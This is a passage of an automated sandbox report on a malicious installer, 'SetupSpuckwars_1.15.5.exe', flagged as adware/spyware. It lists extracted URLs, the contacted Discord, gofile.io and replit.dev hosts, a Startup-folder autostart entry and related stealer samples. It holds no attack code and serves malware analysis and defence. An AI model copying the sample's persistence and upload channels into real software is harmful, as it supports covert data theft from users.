http://anglebug.com/54690%URL Reputationsafe
https://www.quad9.net/home/privacy/0%URL Reputationsafe
https://anglebug.com/71620%URL Reputationsafe
https://dns11.quad9.net/dns-querydns11.quad9.net9.9.9.11149.112.112.112620:fe::112620:fe::fe:11PdEh0%Avira URL Cloudsafe
https://chrome-devtools-frontend.appspot.com/%s%s/%s/NetworkResourceLoaderstreamWriteInspectableWebC0%Avira URL Cloudsafe
http://anglebug.com/7036Frontend0%Avira URL Cloudsafe
https://passwords.google.comCompte0%Avira URL Cloudsafe

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.dev
35.247.106.28
truefalse
    		unknown
    chrome.cloudflare-dns.com
    		162.159.61.3
    		truefalse
      		unknown
      ptb.discord.com
      		162.159.128.233
      		truefalse
        		unknown
        discord.com
        		162.159.136.232
        		truefalse
          		unknown
          api.gofile.io
          		51.38.43.18
          		truefalse
            		high

            URLs from Memory and Binaries

            NameSourceMaliciousAntivirus DetectionReputation
            https://anglebug.com/4674libGLESv2.dll.0.drfalse
            • URL Reputation: safe
            		unknown
            https://support.google.com/chrome/answer/6098869zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drfalse
              		high
              https://doh.familyshield.opendns.com/dns-queryspuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                		high
                http://anglebug.com/4633libGLESv2.dll.0.drfalse
                • URL Reputation: safe
                		unknown
                https://anglebug.com/7382libGLESv2.dll.0.drfalse
                • URL Reputation: safe
                		unknown
                https://public.dns.iij.jp/spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                • URL Reputation: safe
                		unknown
                http://crbug.com/550292libGLESv2.dll.0.drfalse
                • URL Reputation: safe
                		unknown
                http://crbug.com/883276libGLESv2.dll.0.drfalse
                • URL Reputation: safe
                		unknown
                https://photos.google.com/settings?referrer=CHROME_NTPzh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drfalse
                  		high
                  https://anglebug.com/7714libGLESv2.dll.0.drfalse
                  • URL Reputation: safe
                  		unknown
                  https://doh.cox.net/dns-queryspuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                    		high
                    https://anglebug.com/5536libGLESv2.dll.0.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://bugs.fuchsia.dev/p/fuchsia/issues/detail?id=107106libGLESv2.dll.0.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://dns11.quad9.net/dns-queryspuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                    • URL Reputation: safe
                    		unknown
                    http://crbug.com/1165751libGLESv2.dll.0.drfalse
                    • URL Reputation: safe
                    		unknown
                    https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                      		high
                      https://chromeenterprise.google/policies/#BrowserSwitcherExternalGreylistUrlzh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drfalse
                      • URL Reputation: safe
                      		unknown
                      https://crbug.com/705865libGLESv2.dll.0.drfalse
                      • URL Reputation: safe
                      		unknown
                      http://crbug.com/110263libGLESv2.dll.0.drfalse
                      • URL Reputation: safe
                      		unknown
                      https://www.nic.cz/odvr/CZ.NICspuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                        		high
                        http://anglebug.com/6248libGLESv2.dll.0.drfalse
                        • URL Reputation: safe
                        		unknown
                        http://anglebug.com/6929libGLESv2.dll.0.drfalse
                        • URL Reputation: safe
                        		unknown
                        https://www.google.com/chrome/privacy/eula_text.htmlGfr.pak.0.drfalse
                          		high
                          http://anglebug.com/5281libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://public.dns.iij.jp/IIJspuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                          • URL Reputation: safe
                          		unknown
                          https://nextdns.io/privacyspuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                          • Avira URL Cloud: safe
                          		unknown
                          https://anglebug.com/7246libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://anglebug.com/7369libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://anglebug.com/7489libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://crbug.com/593024libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://crbug.com/1137851libGLESv2.dll.0.drfalse
                          • URL Reputation: safe
                          		unknown
                          https://developers.google.com/speed/public-dns/privacyGooglespuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                            		high
                            https://dns64.dns.google/dns-queryspuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                            • URL Reputation: safe
                            		unknown
                            https://doh.opendns.com/dns-queryspuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                              		high
                              https://issuetracker.google.com/161903006libGLESv2.dll.0.drfalse
                                		high
                                http://anglebug.com/2152skipVSConstantRegisterZeroInlibGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                https://crbug.com/1300575libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                https://dns11.quad9.net/dns-querydns11.quad9.net9.9.9.11149.112.112.112620:fe::112620:fe::fe:11PdEhspuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://crbug.com/710443libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                https://crbug.com/1042393libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                https://crbug.com/1060012libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                http://anglebug.com/3078libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                http://anglebug.com/7553libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                https://chromeenterprise.google/policies/#BrowserSwitcherExternalSitelistUrlzh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                http://anglebug.com/5375libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                http://anglebug.com/3246allowClearForRobustResourceInitSomelibGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                http://anglebug.com/5371libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                http://anglebug.com/3997libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                http://anglebug.com/4722libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                http://crbug.com/642605libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                https://chrome-devtools-frontend.appspot.com/%s%s/%s/NetworkResourceLoaderstreamWriteInspectableWebCspuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                                • Avira URL Cloud: safe
                                		unknown
                                https://public.dns.iij.jp/dns-queryspuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                                • URL Reputation: safe
                                		unknown
                                http://anglebug.com/1452libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                http://anglebug.com/7556libGLESv2.dll.0.drfalse
                                • URL Reputation: safe
                                		unknown
                                https://chrome.google.com/webstore?hl=frRaccourcifr.pak.0.drfalse
                                  		high
                                  https://chrome.google.com/webstore?hl=swUmeondoasw.pak.0.drfalse
                                    		high
                                    https://chrome.google.com/webstore?hl=zh-CNzh-CN.pak.0.drfalse
                                      		high
                                      https://alekberg.net/privacyspuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://crbug.com/650547callClearTwiceUsinglibGLESv2.dll.0.drfalse
                                      • URL Reputation: safe
                                      		unknown
                                      http://anglebug.com/6692libGLESv2.dll.0.drfalse
                                      • URL Reputation: safe
                                      		unknown
                                      https://www.google.com/chrome/privacy/eula_text.htmlInasimamiwasw.pak.0.drfalse
                                        		high
                                        http://anglebug.com/3502libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/3623libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/3625libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/3624libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://chromium.dns.nextdns.iospuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/5007libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://crbug.com/1181068libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/2894libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/3862libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://dns.google/dns-queryspuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                                        • URL Reputation: safe
                                        		unknown
                                        http://anglebug.com/4836libGLESv2.dll.0.drfalse
                                        • URL Reputation: safe
                                        		unknown
                                        https://issuetracker.google.com/issues/166475273libGLESv2.dll.0.drfalse
                                          		high
                                          https://passwords.google.comComptefr.pak.0.drfalse
                                          • Avira URL Cloud: safe
                                          		unknown
                                          http://int3.de/elevate.exe.0.drfalse
                                          • URL Reputation: safe
                                          		unknown
                                          https://developers.cloudflare.com/1.1.1.1/privacy/public-dns-resolver/Cloudflarespuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                                            		high
                                            http://anglebug.com/4384libGLESv2.dll.0.drfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://anglebug.com/7036FrontendlibGLESv2.dll.0.drfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            https://chrome-devtools-frontend.appspot.com/spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://anglebug.com/7246enableCaptureLimitsSetlibGLESv2.dll.0.drfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://anglebug.com/3970libGLESv2.dll.0.drfalse
                                            • URL Reputation: safe
                                            		unknown
                                            http://anglebug.com/4267libGLESv2.dll.0.drfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://chromeenterprise.google/policies/#BrowserSwitcherUrlListzh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drfalse
                                            • URL Reputation: safe
                                            		unknown
                                            https://policies.google.com/zh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drfalse
                                              		high
                                              http://crbug.com/1181193libGLESv2.dll.0.drfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://anglebug.com/482libGLESv2.dll.0.drfalse
                                              • URL Reputation: safe
                                              		unknown
                                              http://anglebug.com/3045libGLESv2.dll.0.drfalse
                                              • URL Reputation: safe
                                              		unknown
                                              https://anglebug.com/7604libGLESv2.dll.0.drfalse
                                              • URL Reputation: safe
                                              		unknown
                                              https://odvr.nic.cz/dohspuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                                                		high
                                                https://chrome.google.com/webstore/category/extensionszh-CN.pak.0.dr, fr.pak.0.dr, sw.pak.0.drfalse
                                                  		high
                                                  http://crbug.com/308366libGLESv2.dll.0.drfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://anglebug.com/5901libGLESv2.dll.0.drfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://anglebug.com/3965libGLESv2.dll.0.drfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://anglebug.com/6439libGLESv2.dll.0.drfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://anglebug.com/7406libGLESv2.dll.0.drfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://anglebug.com/7527libGLESv2.dll.0.drfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  https://anglebug.com/7161libGLESv2.dll.0.drfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  http://anglebug.com/5469libGLESv2.dll.0.drfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  https://www.quad9.net/home/privacy/spuckwars.exe, 00000002.00000000.1906060133.00007FF768172000.00000002.00000001.01000000.00000008.sdmp, spuckwars.exe, 0000000A.00000000.1947661882.00007FF768172000.00000002.00000001.01000000.00000008.sdmpfalse
                                                  • URL Reputation: safe
                                                  		unknown
                                                  https://anglebug.com/7162libGLESv2.dll.0.drfalse
                                                  • URL Reputation: safe
                                                  		unknown

                                                  World Map of Contacted IPs

                                                  • No. of IPs < 25%
                                                  • 25% < No. of IPs < 50%
                                                  • 50% < No. of IPs < 75%
                                                  • 75% < No. of IPs

                                                  Public IPs

                                                  IPDomainCountryFlagASNASN NameMalicious
                                                  35.247.106.28
                                                  		e1b6282a-e30f-473c-ab0b-3aa78cea1281-00-2xez1th6hyjs3.kirk.replit.devUnited States
                                                  		15169GOOGLEUSfalse
                                                  162.159.61.3
                                                  		chrome.cloudflare-dns.comUnited States
                                                  		13335CLOUDFLARENETUSfalse
                                                  162.159.136.232
                                                  		discord.comUnited States
                                                  		13335CLOUDFLARENETUSfalse
                                                  162.159.128.233
                                                  		ptb.discord.comUnited States
                                                  		13335CLOUDFLARENETUSfalse
                                                  51.38.43.18
                                                  		api.gofile.ioFrance
                                                  		16276OVHFRfalse

                                                  General Information

                                                  Joe Sandbox version:40.0.0 Tourmaline
                                                  Analysis ID:1423647
                                                  Start date and time:2024-04-10 08:27:12 +02:00
                                                  Joe Sandbox product:CloudBasic
                                                  Overall analysis duration:0h 8m 50s
                                                  Hypervisor based Inspection enabled:false
                                                  Report type:full
                                                  Cookbook file name:default.jbs
                                                  Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                  Number of analysed new started processes analysed:27
                                                  Number of new started drivers analysed:0
                                                  Number of existing processes analysed:0
                                                  Number of existing drivers analysed:0
                                                  Number of injected processes analysed:0
                                                  Technologies:
                                                  • HCA enabled
                                                  • EGA enabled
                                                  • AMSI enabled
                                                  Analysis Mode:default
                                                  Analysis stop reason:Timeout
                                                  Sample name:SetupSpuckwars_1.15.5.exe
                                                  Detection:MAL
                                                  Classification:mal52.adwa.spyw.winEXE@35/108@6/5
                                                  EGA Information:Failed
                                                  HCA Information:
                                                  • Successful, ratio: 100%
                                                  • Number of executed functions: 0
                                                  • Number of non-executed functions: 0
                                                  Cookbook Comments:
                                                  • Found application associated with file extension: .exe

                                                  Warnings

                                                  • Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                                  • Excluded IPs from analysis (whitelisted): 172.253.63.94
                                                  • Excluded domains from analysis (whitelisted): fs.microsoft.com, ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, www.gstatic.com, fe3cr.delivery.mp.microsoft.com
                                                  • Not all processes where analyzed, report is missing behavior information
                                                  • Report size exceeded maximum capacity and may have missing behavior information.
                                                  • Report size getting too big, too many NtOpenKeyEx calls found.
                                                  • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                  • Report size getting too big, too many NtQueryValueKey calls found.
                                                  • Report size getting too big, too many NtQueryVolumeInformationFile calls found.
                                                  • VT rate limit hit for: SetupSpuckwars_1.15.5.exe

                                                  Simulations

                                                  Behavior and APIs

                                                  TimeTypeDescription
                                                  07:28:45AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\spuckwars.exe
                                                  08:28:34API Interceptor10x Sleep call for process: powershell.exe modified

                                                  Joe Sandbox View / Context

                                                  IPs

                                                  MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                  162.159.61.3SenPalia Installer.exeGet hashmaliciousUnknownBrowse
                                                    SenPalia Installer.exeGet hashmaliciousUnknownBrowse
                                                      http://woollamau.comGet hashmaliciousUnknownBrowse
                                                        O28gzBGj5H.svgGet hashmaliciousUnknownBrowse
                                                          Quarantined Messages.zipGet hashmaliciousUnknownBrowse
                                                            JG822Ei50X.exeGet hashmaliciousNeshtaBrowse
                                                              Default Game.exeGet hashmaliciousUnknownBrowse
                                                                Sky-Beta.exeGet hashmaliciousUnknownBrowse
                                                                  Sky-Beta.exeGet hashmaliciousUnknownBrowse
                                                                    https://sites.google.com/view/investor-deck/Get hashmaliciousHTMLPhisherBrowse
                                                                      162.159.136.232S23UhdW5DH.exeGet hashmaliciousLummaC, Glupteba, SmokeLoader, Socks5Systemz, StealcBrowse
                                                                      • discord.com/administrator/index.php
                                                                      162.159.128.233file.exeGet hashmaliciousLummaC, Glupteba, PureLog Stealer, RisePro Stealer, SmokeLoader, Stealc, zgRATBrowse
                                                                      • discord.com/phpMyAdmin/
                                                                      51.38.43.18Mauqes.exeGet hashmaliciousNovaSentinelBrowse
                                                                        Mauqes.exeGet hashmaliciousNovaSentinelBrowse
                                                                          SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                            Mauqes.exeGet hashmaliciousNovaSentinelBrowse
                                                                              Mauqes.exeGet hashmaliciousUnknownBrowse
                                                                                SecuriteInfo.com.FileRepMalware.5539.23420.exeGet hashmaliciousUnknownBrowse
                                                                                  SecuriteInfo.com.MacOS.ReverseShell-C.28203.22681.exeGet hashmaliciousPython Stealer, Creal StealerBrowse
                                                                                    e.exeGet hashmaliciousUnknownBrowse
                                                                                      e.exeGet hashmaliciousUnknownBrowse
                                                                                        SecuriteInfo.com.FileRepMalware.1994.17999.exeGet hashmaliciousTrap StealerBrowse

                                                                                          Domains

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          chrome.cloudflare-dns.comSenPalia Installer.exeGet hashmaliciousUnknownBrowse
                                                                                          • 172.64.41.3
                                                                                          SenPalia Installer.exeGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.61.3
                                                                                          http://woollamau.comGet hashmaliciousUnknownBrowse
                                                                                          • 172.64.41.3
                                                                                          http://woollamau.comGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.61.3
                                                                                          O28gzBGj5H.svgGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.61.3
                                                                                          http://6.imimg.com/data6/Rfq/2024/3/404696953/HX/AW/IV/217882449/square-breathing-pdf.pdfGet hashmaliciousUnknownBrowse
                                                                                          • 172.64.41.3
                                                                                          Setup (1).exeGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.61.3
                                                                                          reolink_setup_8156.exeGet hashmaliciousUnknownBrowse
                                                                                          • 172.64.41.3
                                                                                          JG822Ei50X.exeGet hashmaliciousNeshtaBrowse
                                                                                          • 162.159.61.3
                                                                                          Default Game.exeGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.61.3
                                                                                          discord.comJv7Z27rOoW.exeGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.138.232
                                                                                          Jv7Z27rOoW.exeGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.136.232
                                                                                          FH4GDGD.exeGet hashmaliciousBlank GrabberBrowse
                                                                                          • 162.159.128.233
                                                                                          GauntletVPN1.4.0.exeGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.128.233
                                                                                          b52ah8YEGS.exeGet hashmaliciousBlank Grabber, DCRat, Umbral StealerBrowse
                                                                                          • 162.159.128.233
                                                                                          SecuriteInfo.com.Trojan.PWS.Siggen3.25256.942.20710.exeGet hashmaliciousExela Stealer, XmrigBrowse
                                                                                          • 162.159.136.232
                                                                                          https://airdrop-online-altlayer-anniversary.s3.us-east-2.amazonaws.com/posten.html?cid=freetomfr@hotmail.comGet hashmaliciousPhisherBrowse
                                                                                          • 162.159.138.232
                                                                                          SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.137.232
                                                                                          SecuriteInfo.com.Generic.JS.Malicord.D.02514950.1665.6783.exeGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.128.233
                                                                                          http://www.cyclic.sh/pricingGet hashmaliciousHTMLPhisherBrowse
                                                                                          • 162.159.137.232
                                                                                          ptb.discord.comKzqQe0QtRd.exeGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.137.232
                                                                                          PAP46E1UkZ.exeGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.128.233
                                                                                          A4AxThCBqS.exeGet hashmaliciousNanocore, Luna Logger, Umbral StealerBrowse
                                                                                          • 162.159.136.232
                                                                                          SecuriteInfo.com.Variant.Jatif.7130.11703.17675.exeGet hashmaliciousCKS Stealer, Spark RATBrowse
                                                                                          • 162.159.137.232
                                                                                          SecuriteInfo.com.Variant.Jatif.7130.11703.17675.exeGet hashmaliciousCKS Stealer, Spark RATBrowse
                                                                                          • 162.159.138.232
                                                                                          Lunar_Builder.exeGet hashmaliciousItroublveBOT StealerBrowse
                                                                                          • 162.159.138.232
                                                                                          v5u7AiCLzw.exeGet hashmaliciousNitroRansomwareBrowse
                                                                                          • 162.159.138.232
                                                                                          NPHzyKe1zJ.exeGet hashmaliciousNitroRansomwareBrowse
                                                                                          • 162.159.137.232
                                                                                          ONtIB38CQZ.exeGet hashmaliciousUnknownBrowse
                                                                                          • 162.159.128.233
                                                                                          t5UFndKp9h.exeGet hashmaliciousNitroRansomwareBrowse
                                                                                          • 162.159.128.233

                                                                                          ASNs

                                                                                          MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                          CLOUDFLARENETUSPayment_Advice.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 172.67.74.152
                                                                                          Quotation[MPI-240401.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 104.26.13.205
                                                                                          vGDqFBB1Jz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 172.67.75.166
                                                                                          http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=clickme.thryv.com/ls/click?upn=u001.zNsZ6DgZGUlz4SyL2q0KgfvLUZd1vxrIdCMo5dY5qCEyeaGmNINChKOlELp3fRT1rsLBxEJdRXYvy6S-2BGEY7uicd3tbSMV5oJVhczVlIJxNtA-2BurH4j6WXNUMDWH8Xtyor4mjkn1VIVtPJTCW3IlMRG3a4MIeGKbPJD2WFpltpzviF50nMF1DDbgC9X6S9w9Hlc1oLQOQrL-2F5NOag02nHzFb0iLScFwtYhl7ivMYLz0-3DlYp0_JVAtn8RK-2FYGAFwojudbatEe6kKijRrOmSDoK71rQZxdvCfQSeCo-2BRBdkQ5VWb782IaijolxlNh8UaJUpVC3oTrBWLQ0nDIwqRnMGXEH-2FVvabEpl0ypWmwFSXmHQXgR2OtjYxsjQq8JqnCS0xJ6x5Hw2KTEpFQlfF7UILlGxlM8XnIewK-2FaJufFXkpj77DIQAUJIbbgxdsd6A82g6UCqhJrLxeAFCIG7p5DQ3gDp3jrTu2g01Y1dJ78akz0sR2ouRL8yC2fH0p3U5mmt7xctz27iCjzyIwMztlvkJaOc0tsUXBISBrbO3CkhbRwyYHpkDtiv91MtbaUTYJ4SSBMc4tw4DQdyflUkkcsGLNoBKOnZYoBecXCGDUCOXb8bLi9mYrh-2F2YZwAXwNbq-2BqqypetrxX-2BFRmar-2F5nHTrF20p1pew-3D#a3Jvc3NAbW9udGFnZWdvbGRjb3JwLmNvbQ==Get hashmaliciousUnknownBrowse
                                                                                          • 104.17.2.184
                                                                                          SecuriteInfo.com.Win32.PWSX-gen.8396.18973.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 172.67.74.152
                                                                                          iKV7MCWDJF.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 104.26.4.15
                                                                                          https://turtledownunder.com.au/Get hashmaliciousUnknownBrowse
                                                                                          • 104.21.47.239
                                                                                          8TFD6H44Pz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 172.67.75.166
                                                                                          uRLTbkeYF7.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 172.67.75.166
                                                                                          https://checking-browser.com/Get hashmaliciousUnknownBrowse
                                                                                          • 172.67.154.206
                                                                                          CLOUDFLARENETUSPayment_Advice.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 172.67.74.152
                                                                                          Quotation[MPI-240401.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 104.26.13.205
                                                                                          vGDqFBB1Jz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 172.67.75.166
                                                                                          http://t.cm.morganstanley.com/r/?id=h1b92d14,134cc33c,1356be32&p1=clickme.thryv.com/ls/click?upn=u001.zNsZ6DgZGUlz4SyL2q0KgfvLUZd1vxrIdCMo5dY5qCEyeaGmNINChKOlELp3fRT1rsLBxEJdRXYvy6S-2BGEY7uicd3tbSMV5oJVhczVlIJxNtA-2BurH4j6WXNUMDWH8Xtyor4mjkn1VIVtPJTCW3IlMRG3a4MIeGKbPJD2WFpltpzviF50nMF1DDbgC9X6S9w9Hlc1oLQOQrL-2F5NOag02nHzFb0iLScFwtYhl7ivMYLz0-3DlYp0_JVAtn8RK-2FYGAFwojudbatEe6kKijRrOmSDoK71rQZxdvCfQSeCo-2BRBdkQ5VWb782IaijolxlNh8UaJUpVC3oTrBWLQ0nDIwqRnMGXEH-2FVvabEpl0ypWmwFSXmHQXgR2OtjYxsjQq8JqnCS0xJ6x5Hw2KTEpFQlfF7UILlGxlM8XnIewK-2FaJufFXkpj77DIQAUJIbbgxdsd6A82g6UCqhJrLxeAFCIG7p5DQ3gDp3jrTu2g01Y1dJ78akz0sR2ouRL8yC2fH0p3U5mmt7xctz27iCjzyIwMztlvkJaOc0tsUXBISBrbO3CkhbRwyYHpkDtiv91MtbaUTYJ4SSBMc4tw4DQdyflUkkcsGLNoBKOnZYoBecXCGDUCOXb8bLi9mYrh-2F2YZwAXwNbq-2BqqypetrxX-2BFRmar-2F5nHTrF20p1pew-3D#a3Jvc3NAbW9udGFnZWdvbGRjb3JwLmNvbQ==Get hashmaliciousUnknownBrowse
                                                                                          • 104.17.2.184
                                                                                          SecuriteInfo.com.Win32.PWSX-gen.8396.18973.exeGet hashmaliciousAgentTeslaBrowse
                                                                                          • 172.67.74.152
                                                                                          iKV7MCWDJF.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 104.26.4.15
                                                                                          https://turtledownunder.com.au/Get hashmaliciousUnknownBrowse
                                                                                          • 104.21.47.239
                                                                                          8TFD6H44Pz.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 172.67.75.166
                                                                                          uRLTbkeYF7.exeGet hashmaliciousRisePro StealerBrowse
                                                                                          • 172.67.75.166
                                                                                          https://checking-browser.com/Get hashmaliciousUnknownBrowse
                                                                                          • 172.67.154.206
